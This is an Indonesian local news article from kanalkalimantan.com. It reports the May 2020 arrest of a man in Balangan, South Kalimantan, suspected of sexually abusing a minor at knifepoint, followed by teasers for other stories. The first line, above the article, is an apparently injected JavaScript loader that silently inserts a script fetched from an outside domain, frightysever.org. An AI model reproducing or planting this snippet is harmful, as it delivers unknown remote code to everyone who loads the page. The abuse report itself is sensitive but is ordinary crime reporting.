(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN– Seorang pria berinisial AR (34), warga Kecamatan Juai, Kabupaten Balangan, berhasil diamankan polisi, Senin (18/5/2020). Dia diduga melakukan kasus pencabul terhadap anak di bawah umur.
Kapolsek Juai Ipda Paisal Kadapi mengatakan, AR mulanya melakukan aksi pecabulan terhadap anak di bawah umur yang masih duduk di bangku sekolah.
“Perbuatan cabul AR diketahui sang ayah korban yang seketika pulang dari kebun. Atas kejadian itu, ayah korban melaporkan ke Polsek Juai pada Jumat (15/5/2020) Mei 2020 sekitar pukul 15.00 Wita,” kata Ipda Paisal.
Berawal dari laporan tersebut, Kapolsek Juai bersama Unit Reskrim Juai mendatangi rumah pelaku. Namun saat itu ia tidak berada di rumah. Kapolsek pun lantas meminta kepada keluarga pelaku untuk segera menyerahkan pelaku ke Polsek Juai.
Kemudian pada Minggu (17/5/2020) sekitar pukul 14.00, pelaku didampingi oleh keluarga, Kepala Desa, beserta anggota Linmas, menyerahkan pelaku ke Polsek Juai agar dapat diproses hukum untuk mempertanggung jawabkan perbuatannya.
Berdasarkan keterangan korban, pelaku telah melakukan perbuatan cabul sebanyak dua kali, bertempat di rumah korban. Adapun yang pertama terjadi pada hari Minggu (10/5/2020) sekitar pukul 09.00 Wita.
Pelaku melakukan perbuatannya dengan cara mengancam korban menggunakan pisau ke arah leher korban dan selanjutnya menelanjangi korban. Namun tidak sampai melakukan persetubuhan.
Kemudian yang kedua yaitu terjadi pada hari Jumat, 15 Mei 2020 sekitar pukul 11.00 Wita, pelaku melakukan bejatnya dengan cara mengancam korban menggunakan sajam jenis parang ke leher korban dan seterusnya menelanjangi korban dan melakukan upaya pencabulan.
Berselang sekitar 30 menit, ayah korban datang dari kebun, mengatahui hal tersebut ayah korban melaporkan kejadian tersebut ke Polsek Juai. “Atas kejadian tersebut AR terjerat kasus pencabulan anak dibawah umur, sebagaimana dimaksud dalam rumusan pasal 82 Ayat (1) UU No. 35 Tahun 2014 TTG perubahan atas UU No. 23 Tahun 2002 tentang perlindungan anak,” pungkas Ipda Paisal.(kanalkalimantan.com/agus)
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
This website uses cookies.